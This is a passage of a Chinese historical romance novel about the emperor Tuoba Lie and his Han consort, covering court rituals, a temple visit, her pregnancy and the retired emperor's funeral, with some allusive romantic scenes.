他从我身子底下抽去那件罩袍,皮肤碰到褥子,只觉得一阵寒凉,我攥着被角,益发得不知所措。羞赧的样子引来他眉梢眼角无尽的笑意,他执起我的手,熨贴在他炙热而精实的胸膛上,掌心传来的阵阵暖意,如同抚触到一件白玉质地的袖炉,在这乍暖还寒的春夜,是恰到好处的温度。
芙蓉帐暖,殢雨尤云,他的动作总是适如其分,轻柔而熟稔,可是在我心头,却别有一番恼人滋味:这样出色的男人,怎么可能没有过去?
在那一瞬间,也许是疼得糊涂了,为了忍住脱口而出的喊叫,我陡然咬住他的锁骨,只听得他闷闷地哼了一声,便不再动作。吻落在我的头发上,如四月淫雨霏霏,疏疏密密,点点滴滴。直到嘴里有了腥甜的气味,我才随着逐渐舒展的身体松开了下颚。我舔了一下唇,犹有一种报复的快感。
云雨绸缪,一夜相拥,恍惚听见窗外五更晨鼓。拓拔烈轻轻抽走枕在我颈窝下的手臂,我迷迷糊糊想要睁眼,却被他吻住了眼睑。但这一吻稍纵即逝,我知道他急于上朝,不会允许自己表现出任何的恋栈。
未久,就听见外头永平一声细长的“起驾”,皇帝的鸾辂音尘渐远,我有些失落地蜷起身体,再度疲惫地进入梦乡……
直睡到窗外骄阳迟迟,香祖木犀才来扣门。我抻了一下手臂腿脚,还是觉得浑身酥软,贪恋香衾,懒下牙床。
“几时了?还不起来。”温润的男声响起,听不出语气里到底是责怪还是宠溺,我被这熟悉的声音吓了一跳,抱着被子倏然坐起身来。拓拔烈一身衮冕站在两个丫头身后,几名宫娥尾随进来,服侍他更衣。原来连早朝都已经结束了。
木犀以为他在问话,老老实实地答了一句:“回皇上,已近隅中。”香祖用胳臂肘顶了她一下,丢去一个“你是笨蛋”的眼神。此刻,我真想找个地洞钻进去。我飞快地环视四周,想找件可以蔽体的衣服,木犀红着脸,捧来更换的衣物。我还是不肯出来,把被褥拉到鼻梁上,用眼神哀求他走开。
拓拔烈灼热的目光在我身上逡巡不去,良久才轻扬嘴角,漫不经心说了一句:“隅中了啊,那就传膳吧。”语毕,噙着笑,转身到外间去了……
临窗梳头,对镜贴花。木犀偷偷戳了戳我身上的红印,被我一掌拍开,她以为我疼,不好意思地笑着,把手背到了身后。
我整了整裙摆,抿着嘴走到外间,拓拔烈已经坐在案前,等着我过去和他共进午膳。眼前的男子换下一身拘谨龙袍,大袖宽衫,飘洒脱俗。为了督促汉化,他进进出出总是带头穿汉服。拓拔烈本就生得璧人般的样貌,再加之华服翩翩,风姿独秀,其静如松生空谷,其动若飞若扬,引得时下不少的年轻贵族竞相效仿。
我坐到他的身侧,斜眼偷睐,见他领口微敞,露出锁骨处两半深红色的月牙,齿印清晰,血痕尤在,还没有结痂。我低着头,暗自吐舌,当时几乎不遗余力,这一下子当真是有些过火了。昨天晚上咬的人,到底已经不是光德坊里的邻家哥哥了。
“哼,牙齿长全了!”他斥责了一句,我瘪瘪嘴,抬头看他,好汉不吃眼前亏,还是跟他道歉好了。才要张嘴,他又道:“还不快点吃饭,咬也让你咬了,气也该撒完了,你还想说什么?过去的事情,以后谁都不许再提了。”我低头吃饭,又听他道:“过几天要祀先农、先蚕,就由你来替朕筹备吧。”
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拓拔烈将云中改为西都,随着迁都平城的告谕一下,那些滞留在关外的文臣武将都开始举家迁徙。他又以拓拔宇监国有功为由,将其册封为魏王,将云中交由他来管理。皇后几次找人代为上疏,要求搬来平城,都被拓拔烈以照顾太上皇为由驳回了。云中之地,多为牧民,居无定所,随着天气转暖,又开始四处游牧。拓拔烈留下来的,名为西都,实则已是一座空城。
塞外余雪涓涓,流澌瑟瑟,春风吹化冻土,边境的柔然人也开始逐水草北上。战事渐息,代国于这样的动荡局势里获得了难得的休养生息的机会。
迁都一事结束之后,拓拔烈必先农功。照说祭祀先农应在土膏初起之时,如今暮春三月,着实是有些晚了,但总是皇帝对天下务农敦本的一个昭示。
拓拔烈传旨礼部,凡与这场祭祀有关的事项,都交由我来定夺。礼部尚书卢子谨,范阳涿人,与崔季渊还有些亲戚关系。隔日我就在金华堂里召见了他,他比崔季渊年长几岁,脸上虽有些沧桑,但风雅不减。卢子谨为当世硕儒,博闻洽识,尽管拓拔烈放权于我,但在他面前,我是不敢托大的,唯有虚心求教。
关于祀先农之礼,对于他的安排,我并没有什么异议,可凭他的主意去办。倒是祀先蚕之礼,历来都是由皇后主祭,我道:“卢大人,关于您所拟办的祭祀之礼,仪式上虽很周全……只是皇后如今远在西都,没有人可以出来主祭先蚕啊?”
卢子谨恭谨抱拳:“那就请夫人代为主持。”
我摇头:“此事不妥。皇上虽允我帮他打点一些政务,但以我如今的身份,大人也是明白的。王敏无一册封,即便有,也不能僭越皇后。由我来主祭先蚕,这样于礼不合。”
卢子谨笑道:“夫人,虽说已过上巳,但三月里祀先蚕,勉强不算太晚。可这祀先农之礼本该孟春之季就举行的,如今眼看就要入夏了,若说于礼不合,这礼一开始也就不必再行了。想必夫人也明白,皇上这次极力操办,其中的用意,无非是为了新兴农业,鼓励桑蚕。礼有文,也有质。所谓礼之文就是礼的形式,过分地讲究形式,反而会忽略了它的本质。繁礼饰貌,无益于礼,凡事谨敬于礼,倒反而会生出惰慢之心了。”
我微微颔首,卢子谨轻捻胡须,又道:“皇上刚继任,国库尚不算不丰盈,大婚之礼,夫人为节省开支,删繁就简。下官见过夫人的批示,钦佩夫人才是真正识礼之人。大行不顾细谨,大礼不辞小让。夫人既然明白皇上行此礼的真正用意,又何必执着于一些细枝末节呢。”
被他这样一说,我倒有些不自在了,当初为省开支确是其一,但扪心自问,多少还是有些不足为外人道的私心吧。
他继续开解道:“和亲蠕蠕,只能暂解一时之忧,皇上迟早会彻底解决柔然边患。柔然之后,皇上也不可能只固守于北方一隅,广袤中原、丰饶巴蜀、富丽江南,这些都将成为今上的天下。夫人虽然铸金人失败,暂不被贵族宗亲们认同,但夫人有谶言庇佑,于朝堂上,已被大多数的汉官所接受。于将来,胡人的政权要在更为广大的汉人的土地上立足,武功实属无奈,为国祚长久,陛下势必倾向于文治。届时就更需要一个汉人女子来恭承宗庙,母仪天下。更甚至是,皇嗣也应该有汉人的血统。夫人出生簪缨之家,知书识理,皇上选中的人,必有不同于寻常女子的地方,夫人明达
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,又何必拘泥于小节?”
他的推测也太过大胆,我的脸色必定不好,正不知道要如何发作,只听他轻笑一声,抱拳道:“下官失言了。揣摩圣上,褒贬皇后,不但于礼不合,更是罪该万死!可是夫人,下官方才所言,虽不是礼言,却是信言。信言不美,美言不信。请夫人不要怪罪!”
夫礼者,忠信之薄。没想到拓拔烈认命的礼部尚书竟然是个地地道道的反礼之人,站在礼的对立面,知道它的利弊,懂得怎样运用它的好处,而又不为繁文缛节所束缚。不得不叹,拓拔烈用人果然不拘一格!那么我呢?他选择我,就是因为看中这些?想到这里,又不免有些黯然。
我正在思忖他的话,拓拔烈不知何时现身:“夫人……子谨也在啊?正好,朕要找你们问话呢。”他撩袍从门口踱步进来,我起身让座,向他下拜行礼。他示意我们两个人坐,又道:“夫人,时间紧迫,祭祀之礼筹备得如何了?”
我道:“卢大人已筹备妥当,只一事,妾不敢做主。”他示意我说,我回他:“皇后远在西都,祀先蚕礼没有主祭之人。”
他看向卢大人,问道:“子谨,你看呢?”
卢子谨也不多做解释,开门见山道:“回皇上,臣请夫人主祭。”
拓拔烈丝毫未做犹豫,挥袖道:“嗯,朕准了,卿去办吧。”
我低头不语,以卢尚书的能力,此等祭礼又何须我来定夺。恐怕皇帝叫他来和我商量是假,游说才是真。他说过,最好的,他给不起。自我知道他的身份起就该明白,贤主之爱,永远也不可能纯粹。那些花前月下说不出口的话,他就只能假借别人的嘴。这样于我,也算是有心了吧。
卢子谨起身告退。拓拔烈也不再摆他的皇帝架子,微笑牵起我的手:“狸奴,辛苦你了。一天都没看见你,我们回家吃饭吧。”
他亲热地揽上我的腰,吻了我的耳垂,直到碰上我的唇,我才清醒过来,一掌推开他,正色道:“皇上,三日后您要行祭祀之礼,这三日里沐浴斋戒,不可近女色!”他无奈举着两手退开,我好似劫后余生,长长地松了一口气。没想到这些小动作全都被他看进眼里。
回宫的时候,他脸色不好,一路上都没有说话,看那样子,好像又在谋划什么大事。他想问题的时候,我不会去吵他,在一边看他安静的吃饭。他的样子很优雅,食不二味,面前只有一盘豆腐,在他吃起来,也好像是珍贵的菜肴。让人忍不住想要去尝上一尝,看看他盘子里的和我盘子里的到底有什么不一样。
我又看了他一眼,埋头吃自己的饭,忽听得他唤,又好像不是在和我说话:“狸奴,你这么怕……是我有什么问题吗?”
“嗯?”我抬头看他,难得见他脸上写着“虚心求教”四个字,半晌我才明白过来他问得是什么,连忙摇头否认。又是一阵尴尬的沉默,我的脸火烧火燎的,恨不得把头埋进饭碗里。他继续优雅地进食,好像只要我不开口,他也不介意把“食不语”贯彻到底。
在这个世界上能让他想不通的事情恐怕已经不多了,聪明人想问题有的时候就是太复杂……我犹豫了一下,还是决定如实以告,省得他又胡思乱想,在斋戒日里还要琢磨这些事情,真是罪过!我盯着手里的饭碗,听见喉咙里发出的细如蚊蝇的声音。
“会痛哎……”
只见他一筷子豆腐掉在食案上,然后又假装不动声色地夹起来吃掉,这皇帝当得还真不自在,忍笑也要忍得那么辛苦。他的问题终于有了答案,现在换成我想不通了,这到底有什么可笑的啊?
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三日之后,拓拔烈祀先农于东郊,百官陪祀,帝躬三推。
我帅内外命妇亲桑北郊,祭蚕神于蚕室,礼以少牢。
41. 第八章 中元节生辰
拓拔烈继位第一年,年号“通和”,取“政通人和”之意。通和改制,官俸、均田、三长、租调,他所制定的政策在全国范围里推广开来,很大程度上改善了吏治和经济。变法者因时而化,他的骨子里多少有些独断专行,但在改革一事上一直很注意手段,恩威并施,避免引发一些保守贵族的非议。拓拔冶倒是个中庸的性子,往来其中,四处逢源,帮了他不少的忙。如今代国上下安和,国库日渐充盈,相比昔日繁华的北朝,刘鹏和赫连翀兄弟阋墙,汉夏两国兵戈不绝,中原的土地再次变得动荡不安。
春耕夏耘,转眼已近秋获时节,七月十五,又是中元。一夜微雨过后,武周山明净如妆,翠微山色,葱茏欲滴,我步出辇车,扑面就是一阵清爽澄净的新秋气象。我和拓拔烈,随从几人,步行沿崎岖山道而上。今天是我的生辰,难得他肯放下手里的政事,陪我上山礼佛。
盘纡山路,莓苔积水,湿滑难行。青兕先生游遍大江南北,看他步履如飞,就知他常走山路。可怜我一路蹜蹜,湿了鞋袜不算,若不是被他搀着,也不知道已经跌了几个跟头。
“背你好不好?”他叹气道,因我走得慢,他好像已经有些不耐烦了。
“不好。”山道两侧雕刻了一些石佛龛,都是民间自发集资而建。我拍开腰上的手臂,嗔道:“菩萨看着呢!你若不诚心,何必陪我出来,回去陪你的奏折好了!”
墨童在路边砍了一段细竹,削去竹叶,递到我面前。拓拔烈接过,又拿帕子缠了一圈,才交到我手上,没好气地说:“拿好了,你自己走吧。”
我柱着竹杖,拖累了一群人,好在他今天说话虽冲,但心情看上去还不错。近来他好像又在服药,我问过他,他也只推说是寻常补药。我怕他操劳太过,死磨硬泡,才骗他给自己放了一天的假。
九曲山路云遮寺,好不容易走到须弥山殿,未等进庙门,住持就领了几个小沙弥出来迎接。他一见拓拔烈,紧走了几步,上前下拜。拓拔烈也不避闪,勾着嘴角,负手道:“方丈,你这是做什么啊?”
“法果恭迎圣驾。”和尚微胖,面善,现下虽然是矮人一截的姿势,说话倒也不卑不亢。可皇帝今日里是微服出游,倒不知这法果是怎么看出来的。
拓拔烈示意他平身,又道:“方丈,即便你知道朕的身份,出家人不拜父母、不拜君王,你方才这一拜,又是何故啊?”
法果从容起身,答道:“陛下,能鸿道者即为人主,我非拜天子,乃礼佛也。”看他字字恳切,倒不像是在阿谀奉承。拓拔烈只是轻笑了一下,没有说话,任由法果伸手引路,把我们带进寺门。
扶持佛教发展,一直是他的国政之一,只为巡民教化,敷导民俗。很多原本信奉萨满教的鲜卑贵族,在他的倡导之下都改入了释教。可偏他自己是不信的,就像他一直尊崇儒术,办起事来的时候,却是一派地道的法家作风。
曲径通幽处,禅房花木深。我们被主持请进了后院一间素雅的木屋,小沙弥为我们奉上茶水。拓拔烈揭盖浅尝了一口,合眼回味道:“嗯,好茶,好水!”复又对我笑道,“夫人去吧,朕就在这里和方丈说话。”
我起身告退,绕过禅庭一池莲花,随着小沙弥进入须弥山殿。在佛祖跟前烧香礼拜,又到菩萨跟前发了愿。添罢香油,已过了正午,只怕这忙里偷闲的人已经等得上火了。
待我匆匆返回禅房时,墨童领着几个人守在门口,法果已去,独留下拓拔烈一个人,侧卧在禅床之上。他的睡相极好,一手支腮,一手自然地垂在身侧,神态安然,乍一眼,还以为是一尊白玉雕刻的卧佛。为国事,他夙夕忧劳,虽然生活在同一个屋檐底下,但我好像很少能看见他熟睡时候的样子。通常白天我醒了,他已经上朝去了,夜里我睡下了,他还在案牍劳形。
我不忍吵醒他,放轻了步子,挨着他席地坐下来。桌上已经备好了斋饭,山竹炊粳,山水煎茶,山芋山薯,山葱山韭。我托腮端详,心下泛起疼惜,若他只是避世不出的青兕先生该有多好,能见他一觉睡到落晖,能和他共一桌粗茶淡饭,能与他携手山南海北,能听他把那些忧怀于心的国事都付诸醉语笑谈之中。如今,青兕先生真的就近在眼前了,可我小女儿时候的那些念想,却已经成了一段奢望。
一阵暖风起,牵动窗外的梧叶,斑驳的阴影落在他的额面上,他的睫毛闪了几下,我知他素日里浅眠,一直都睡不深。偏又有一鸟落疏桐,几声婉转莺啼,彻底把他给吵醒了。拓拔烈缓缓睁眼,皱了一下眉头,责怪道:“嗯,我是睡着了?……狸奴,你怎么不叫醒我呢?”
“正要叫呢。”我轻叹一声,笑着嗔怪了一句,“起来用斋饭吧,吃完了好回去,知道你的心思不在这里!”
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御辇行到宫门,已是黄昏淡月。六宫最重中元节,院院烧香读道经。夜里吃了顿素汤饼,不比母亲以前做的,根根都和韭叶一样精细,北方的汤饼厚重,吃起别有味道。
晚饭过后,我坐在里间抄经,忽听得外间箫声咽,只断断续续响了几下,已有几分生涩,却还是不免让人忆起曾经的江南明月夜。年龄不请自来,记忆又挥之不去,想到过去种种,陡然生出了几分索莫。
没一会儿,拓拔烈就踱步进来,坐到我身边。我起身收经卷,他道:“怎么不写了?”我习惯地藏起左手,回他:“等心静的时候再抄吧。”
他戏谑道:“狸奴见了我就不能心静吗?”我正想问他,难得见他好兴致,那箫怎么才吹了两下就不吹了,忽听得永平在门外报事:“皇上,汉王府里来人报喜,汉王的一个妾室刚诞下一子。孩子生在七月半,王爷想请皇上给赐个名字,好让那孩子
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多添福寿。”拓拔冶有几个女儿,已过了而立之年,方才盼到一个儿子。偏这孩子又生在鬼节,难怪为人父母的操心。
“皇兄得了儿子啊?”拓拔烈浅浅笑道,永平又应了一声,他转头问我:“狸奴,这孩子与你同一天生辰,倒是和你有缘份,你看取个什么名字好?”
我摇头笑道:“你是天子,当然是你起得名字才能镇得住啊。”
他轻笑了一下,抽了一张我抄经用的纸,又将我揽到身前,思忖片刻后,把着我的左手,写了两个端丽的大字:佛佑。
倒是个好名字,可他不是不信这些的吗,什么时候也转了心性?
永平得了御赐的名字,兴高采烈地报信领赏去了。他抽走我手里的笔,却不肯放开我的手,下颚摩娑着我的头发,柔声问道:“狸奴,今天你在菩萨跟前发了什么愿?”
我顿了一下,笑道:“不能与你说,说出来就不灵了。”
“哦?听说你捐了一年的私房钱,要在武周山上凿一个佛窟,想必是许了大愿望。”他将我纳近怀里,热热的气息喷在我的颈窝里,虽没看见他的表情,也知道他笑得暧昧。
“这可是我的私房钱,你也要管吗?”我胡乱嗔了一句,脸就开始发烫了,这人是妖怪吗,我和菩萨说的话,他也知道。
“这我当然不管。我只是想,难得见你花钱这么大手笔,想来愿望不小呢。不如说出来与我听听,看我帮不帮得了你啊?”他浅颦轻笑,手背缓缓抚过我的脸颊。
我欲推开他,恼道:“不用你帮忙!”可却被他箍紧在怀里,挣脱不得。
他调侃我的兴致不减:“哦?当真不用我帮忙吗?那恐怕就连菩萨也帮不了你了。”
秋暑季节,天气郁蒸。我又推了他几下:“你也不嫌热吗?”话还没有说完,嘴就被他堵上了。我又闻到他嘴里的轻浅药香,不由得攥起了眉头。太医院里并没有开药给他的记录,若说只是寻常补药,为什么又总是背着人服食。
“小丫头,你给我专心点!”他笑着责备了一句,狠狠加深了这一吻。
一吻过后,我已经没了方向,任他拦腰将我抱上绣榻,背倚在软枕之上。慢解丝绦,轻除罗裳,一双秋水酵成了绿酒,我未饮香醪,已不胜沉醉……
高唐梦醒,不觉漏水更长。我半伏在他身上,轻喘不息。骤然拂起一阵晚风,吹熄银釭灯火,徒留月射纱窗。今天宫里到处都有驱鬼的仪式,空气里还残留着香烛的味道。我瑟缩了一下,把头埋进他的胸膛。他轻笑,拍了拍我,声音还有些沙哑:“胆子真小,有我在这里,你怕什么?”
团栾照纱窗,了似中秋月。自然是有你在这里,我才不会害怕。无端又想起他在吃药的事来,只觉得心神不宁。直到他伸手按住我的脚踝,我才意识到自己一直在不自觉地蹭他的小腿,这样的举动无异于一种挑衅,他欺身过来,邪邪笑道:“你是还不嫌累吗?”
42. 第九章 仲秋弥月宴
八月仲秋,秋容如拭,十五那日,正是和风满月的天气。汉王府里,拓拔冶正在为长子佛佑大办弥月宴,我和皇帝过府贺添丁之喜。下了御辇,拓拔冶已侯在府门口迎接。兄弟两个携手寒暄了几句,拓拔冶一路将我们引入主座。群臣见皇帝前来,纷纷起身,下拜觐见。拓拔冶在朝中颇得人缘,无论是贵族宗亲,还是汉官胡将,几乎都悉数到场。诺大一个花厅,挤了这么些许人,竟显得有些局促。
拓拔烈落座之后,眯着眼睛环视了一圈,脸上的笑意渐冷,他挥手道:“都免了,今日不必拘礼……皇兄,朕的侄子呢?抱来朕瞧瞧。”
夫人郭氏已经有些年纪了,娘家也是汉人高族,我见过她几回,是很能说会道的女子。她抱着孩子走到我们面前,屈身一礼。孩子芳洁可爱,像个白面团子似的裹在襁褓之中,睡得正熟。拓拔烈垂眸扫了一眼,对我道:“夫人,你代朕抱一下吧。”
我应了一声,从郭氏手中小心接过孩子,许是刚刚沐浴完,还隐隐散发着兰汤的香气。因我是第一次抱孩子,姿势难免有些便扭,郭氏笑着给我做了个示范,我才抱得顺手。那熟睡的孩子被人折腾了几下,睁眼醒了,努着小嘴,踢打起来。我本以为这是要哭,正不知所措,他浅绿色的眼睛溜溜地转了一圈,竟然冲着我咯咯地笑了起来。我心下欢喜,竟有些舍不得放手了。
郭氏连忙恭维道:“夫人长着菩萨一般的相貌,这孩子和佛有缘,一见您就喜欢。”
拓拔烈也伸手逗弄了一下,状似玩笑地对我说道:“夫人,这孩子喜欢你,不如就抱回宫里养吧。”
君无戏言,拓拔烈也不像是个会说戏言的人,周遭的气氛一下子紧张起来。素日里伶牙俐齿的郭氏空张着嘴,不知道要如何接他的话。我正寻思着要不要出来打个圆场,只见拓拔冶从一边闪身出来,恭谨道:“皇上喜欢,是这孩子的福气,孩子生在鬼节,臣只担心他福薄,要是他能跟在皇上身边,托赖圣上洪福齐天,那是最好不过了。”
拓拔烈闻言,勾了下嘴角,却了无笑意:“皇兄,朕方才和你玩笑的,你才这么一个儿子,怎么舍得送到朕这里来?”
拓拔冶也跟着笑了一下,还是一样的不急不缓:“请皇上开席吧。”
开席之后,孩子就被乳娘抱进了后堂。拓拔冶位于侧座,好像一直注意着皇帝这边,待我转头去看,恰与他四目相对,他才匆忙收敛视线。
台上响起一段郢曲,配以蜀琴,可见主人也是个雅致的人。侍女们端着美酒佳肴,鱼贯而来。案上摆了一盘团圆饼,是中秋节里必吃的点心,拓拔烈掰了一半,与我分食。我小的时候就不喜欢胡饼的甜腻味道,才咬了一口就泛起了恶心,掩袖吐了出来。拓拔烈投来关切的眼神:“狸奴,怎么了?”
我摇头:“我不爱吃这个。”他默不作声,又盯着我瞧了一会儿,突然伸手扣住我的脉搏。我道:“不碍事的,许是这几天太累了,总是想睡觉……”他不理我,我见他这脉号了太长的时间,也有些担心,“不会是旧病复发吧?”以前每年秋冬之交都要犯病,前年吃了他的药,去年倒是没有再犯,只怕还是没有断根。
“嘘!”他示意我不要说话,良久,搭在我腕子上的手指沿着掌心慢慢滑下来,与我十指交缠,愈收愈紧。
“不要紧吧?”见他举止异样,我疑心自己又犯了重病。
“怎么不要紧?”他的眼睛还是直视着前方,戏台子上你方唱罢我登场,若不是离得他近,还真是看不出他好像有点紧张。他的喉头动了一下,哑声道:“你的私房钱可都要拿去还愿了。”
待我明白他的话,几乎高兴得要忘乎所以,又怕自己在那么多人面前失了风范,只好埋头吃饼。他一把夺下我手里的胡饼扔在盘子里,微愠道:“不爱吃就别吃了,我们回家吃好的去。”复又回头对永平道:“摆驾,回宫了!”
皇帝才来,这么快就要走,引得不少人在私底下揣测。汉王小心翼翼上前送驾,拓拔烈拉着他的手解释道:“皇兄不必远送了,朕在这里,大伙儿也不能尽兴。夫人身子不爽,朕先陪她回去。”
拓拔冶又飞快地扫了我一眼,还是和往常一样,视线不会多做一刻停留。他毕恭毕敬地垂首一侧,躬送皇帝回鸾。在众人的目光底下,拓拔烈也不避讳,小心地将我横抱上辇车。
香茵软垫,蜂腰宽肩,我的双臂环绕着他,窝了个最舒服的姿势,直像个傻子一样伏在他胸口上笑。他一路上抱着我,捧在手里小心地像个瓷娃娃:“待回宫叫太医再来看看……”如今连和我说话都是一阵和风细雨,我笑得更欢,难得见他也有不自信的时候。
“要是太医说没有怎么办?”我斜眼睐他。
“要是这样的庸医,也就不必在太医院里混了。”他在我的额头上轻啄了一下,以示安抚,“往后那些折子,你都不要再操心了,还有宫里的大小事情,我都会找人来办……你只管好好安胎,给朕生个健健康康的大胖儿子,这是圣旨!”他的脸色绯红,喜悦之情溢于言表,活像个情窦初开的少年郎。
“这圣旨我可不敢接,你又知道是儿子了,兴许是个女儿呢?”我嗔道。
他攒眉想了一想:“先开花,后结果,倒也不错。女儿我也喜欢……我只担心你会多吃一次苦头!”皇嗣是国之根本,我知道他想亲自培养一个后继之君,才能放心地传之以国器。我轻叹一声,生男生女,端看菩萨保佑了。“不许叹气!”他又命令道,我嘟起嘴,换来一阵绵绵不绝的蝶吻。
一路双脚都没有沾过地,真是母凭子贵!拓拔烈抱着我往屋里去,院子里桂花开遍,清新扑鼻的香气暂时止住了孕吐。抬头见秋月如水,今宵分外明媚,心里有了希望,只觉得什么都是可爱的。他边走边道:“永平,传太医来……吩咐御膳房……狸奴,想吃什么?”他低头问我,我一时想不出来,摇了摇头。他继续下令:“吩咐御膳房,拣好的做!”
几名太医闻旨之后匆忙赶来,在拓拔烈的严密注视之下为我诊脉,好像只等他们摇一下头,就可以告老还乡了。为我把脉的太医撤回手指,整裳跪到拓拔烈面前:“恭喜皇上,夫人有喜了!……只是……”
“只是什么?”拓拔烈拢眉,立刻接了句鲜卑话,我和香祖学过一些,已经可以听得懂简单的句子。
“只是……”老太医心领神会,用鲜卑语絮絮叨叨地说了一大段话,因为太长,我就听不明白了。
拓拔烈皱着眉头想了想:“就这样?”太医颔首,他又沉吟了片刻,道:“好,就依你说的办,去开方子吧。”
须臾,御膳房里就备了一桌子丰盛的佳肴,面前美馔珍羞,可我哪里还吃得下去。拓拔烈检查了一下太医的方子,着他去办。我担心问道:“阿烈,是不是孩子不好?”
他过来将我纳近怀里:“孩子这么小,哪里看得出好不好。是你的身子骨太弱了,怪我不好,只当你到了可以生育的年纪,却忘了你比别的女孩子长得慢些。”
“那……孩子……”
“如果你要孩子好,就要当心,不可以再毛毛糙
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糙的。太医开了安胎的药,你要乖乖地喝,只怕接下来的日子,有得你辛苦了。第一胎很重要,如果有什么闪失,以后再想要孩子,可就麻烦了。”他的神色凝重,又向我强调了一遍:“你听明白了没有?”我点点头,他疼惜地吻了我的额面,柔声道:“那就好好吃饭吧。”
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接下来的日子,一天吃五顿,睡五顿,万事不必操心,万事以我为首要。他空下来的时候就会替我诊一次脉,本来说好分房睡的,可不在他眼皮底下他又不放心,堂堂一国之君,就天天在我的床头打地铺,关上门的时候,简直可以任凭我呼来喝去了。虽说几个月来都是食欲不振,孕吐不止,但这些不适应总还是在可以忍受的范围里。
冬至未到,北方已经下了好几场雪,屋子里生了火盆,可夜里睡觉还是觉得房栊冷。我埋头在被子翻了几个身,拓拔烈就只好乖乖放下手里的公文,脱了靴子,钻进被子里来替我取暖。他小心避开我隆起的肚子,将我搂进怀里,我低头审视了一下自己,好像又胖了些。
“阿烈,我只愿生个是哪咤三太子出来……”他挑眉看我,我笑言,“任凭我怀个三年五载的,只怕这孩子一生出来,我也活不长了,这样的好日子,自然是要多享受几天的。”
“你又在胡思乱想什么?”他略微粗糙的手掌覆上我的眼睛,他的身子暖和,我贴得更近。在黑暗里,我环上他的腰,听着他稳健的心跳,就感觉有了安全的栖身,眼皮也渐渐沉重下来……
迷迷糊糊感觉他抽走了手臂,通常等我睡着了,他就会离开,但今天似乎走得也太早了。我懒得动弹,闭目听见屏风外面永平压低的声音:“皇上,云中有急报,太上皇薨了……”
我猛然睁眼,屋子里安静了片刻,银屏后面是拓拔烈修长的影子,手里拿着一张纸,泥塑一般,良久才动了一下,示意永平退下。我半坐起来,他有些失神地绕过屏风,走到我面前,木然地看着我,然后把头埋进了我的颈窝。我感觉脖子里有了湿气,“阿烈……”,我抚着他的背,心疼唤道。不知道过了多久,他慢慢退出来,抬起头时依旧是一双深潭般的眼眸,好像从未起过波澜。
“狸奴,我要回云中一些日子,办完丧礼就回来……”
“我和你一起回去吧。”我请求道。我明白这样的感觉,无论你曾经和他亲不亲,只要有血缘的牵绊,他的离去总是会令人伤心。在这样的时候,我更加不愿意放开他的手。
拓拔烈看着我的肚子,在宽大绡衣的掩饰下还不十分明显,他伸手摸了一下,在腹部上划出了一道圆润的弧,已经有小丘般微微突起的曲线。他沉默片刻,点了点头:“狸奴,你还是跟着我吧,留下你一个人,我也不放心。”
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太上皇常年服用寒食散,因误饮了一杯冷酒而枉断了性命,他的暴毙,让人有些猝不及防。好在在拓拔烈一年的努力之下,朝堂上下各司其职,开始变得井然有序。他委任了崔季渊、卢子谨和几个皇亲贵胄代为把持朝政,大臣们互为牵制,在皇帝离开的这些日子里,总还不会有什么差错。
隔日,他就带着我和汉王,还有一行拓拔家的宗亲,往西都云中去了。
43. 第十章 西都萧墙变
拓拔烈赶回云中时,太上皇已大殓,两楹之间摆放着巨大的绘着日月星辰花鸟鱼兽的梓宫,四周挂满了白色的繐帷。大殿上已经跪满了人,左右两侧有持刀的虎贲,拓拔宇和皇后一身素服出来接驾,拓拔烈示意他们平身,便领着我往里去了。
他在台阶前停步,按了一下我的手,我不再往前,小心地托着肚子跪到地上。他继续拾级而上,命人打开棺盖。他扶棺凭吊的侧影,犹如一尊琼雕冰塑,冷冽的寒气袭来,原本泣声一片的大殿,瞬时就安静了下来。
两位皇兄也跪到了阶前,我闻见身侧一阵胡香,余光撇去,阿兰公主的裙摆就停在我的面前。拓拔烈把我领到了皇后的位置,我只得膝行几步,垂首向后退去。胡香的味道刺鼻,我掩袖强忍着孕吐的反映,遭来阿兰公主轻蔑的眼神。
凭吊过后,拓拔烈合目挥袖,示意盖棺。底下的人又犹如白浪一般,屏营顿首,嚎啕恸哭。他顺阶而下,见我的脸色不对,走过来将我从地上扶起。阿兰公主起身想要和他说话,他摆了摆手,一手搭住我的脉搏,冷声对她道:“皇后有什么话,改日再说吧。”
回到东宫,拓拔烈换上深衣素冠,敛去一身凭凌之气,疲累地倚在榻上。见他手指不停地按揉睛明穴,想是又在犯头疼。宫娥们备妥了晚膳,我的案上菜色不少,他的却只是疏食水饮,也没见他动几筷子,但还是盯着我吃完最后一口,才起身离席。
我们赶回云中时,已经停灵满十二日,隔天就要落葬。连日大雪,四望皎然,估计这雪下到明天也不会停。朔风吹得窗纸簌簌作响,我紧了紧身上的狐裘。“狸奴,别站在那里吹风,小心受凉。”拓拔烈沉声唤我,我转身看他,他依旧埋着头,在亲书大行皇帝的悼文。我应了一声,过去看他写字。
案上还有几本未处理的公文,其中一件是我的上疏。太上皇生前,伺候他的宫娥不计其数,这些人要继续养在深宫里,又是一笔庞大的开销。况且很多女孩子都不满双十,兴许来了几年都没得过宠幸,与其把她们强留在长门之中,空等年华暗去,徒惹宫怨,还不如遣散回家,各自寻找出路。
落葬前的一晚,皇帝要处理的事情不少,悼文之后,还要上谥。我想我这折子倒也不急,之前我已上疏要求罢免宫妃殉葬,他也答允了只用人俑。只要能保下人命来,之后的事情都可以慢慢商量,这也算是我为肚子里的孩子积了点福份。
这一夜的雪果然就下到了天亮,太上皇棺椁七重,破晓时分被人抬上了辒辌车。灵柩要送往云中西南郊外的金陵,送葬的队伍沿着皇陵一侧的金河向下,蜿蜒数里。一路之上,满目的麻衣、高耸的幢幡和飞飞扬扬的纸钱,与天空中旋落的鹅毛般的雪花搅在了一处,放眼望去,混混沌沌,惨惨白的一片。
拓拔烈昨夜很晚才睡,现下正斜倚在御辇里闭目养神,膝盖上盖了一条羊毛毯子。我放下车帘,挨过去坐下,他半掀眼睑,探了探我的手温,分了一半毛毯给我。近来他很少开口,他不愿意说话,我也就陪着他缄口不言。
待我被拍醒时,才发现自己又窝在他的身上睡着了。步下辇车,一顶华盖为我挡去风雪,拓拔烈示意永平留在我身侧照顾。
皇帝上香,奠酒,跪读悼文……繁缛仪式之后,棺椁被抬进陵寝。大行皇帝一侧,是容闵皇后的灵柩,拓拔烈拿起母亲的亡疏,仔细地擦拭了一遍,又郑重地摆放回去。我随着人群,恭谨地在杜皇后的灵前磕头,虽然明知道面前的,只是一具空棺。
因为身份的关系,我站得离拓拔烈很远,他身旁的阿兰公主不时地朝我投来慑人的目光,有几次与她眼神交错,都能明显地感觉到她的敌意。我下意识地护住了小腹,但这个动作在她看来,也许只是一种挑衅。我只能垂下眼睑,选择避而不见。
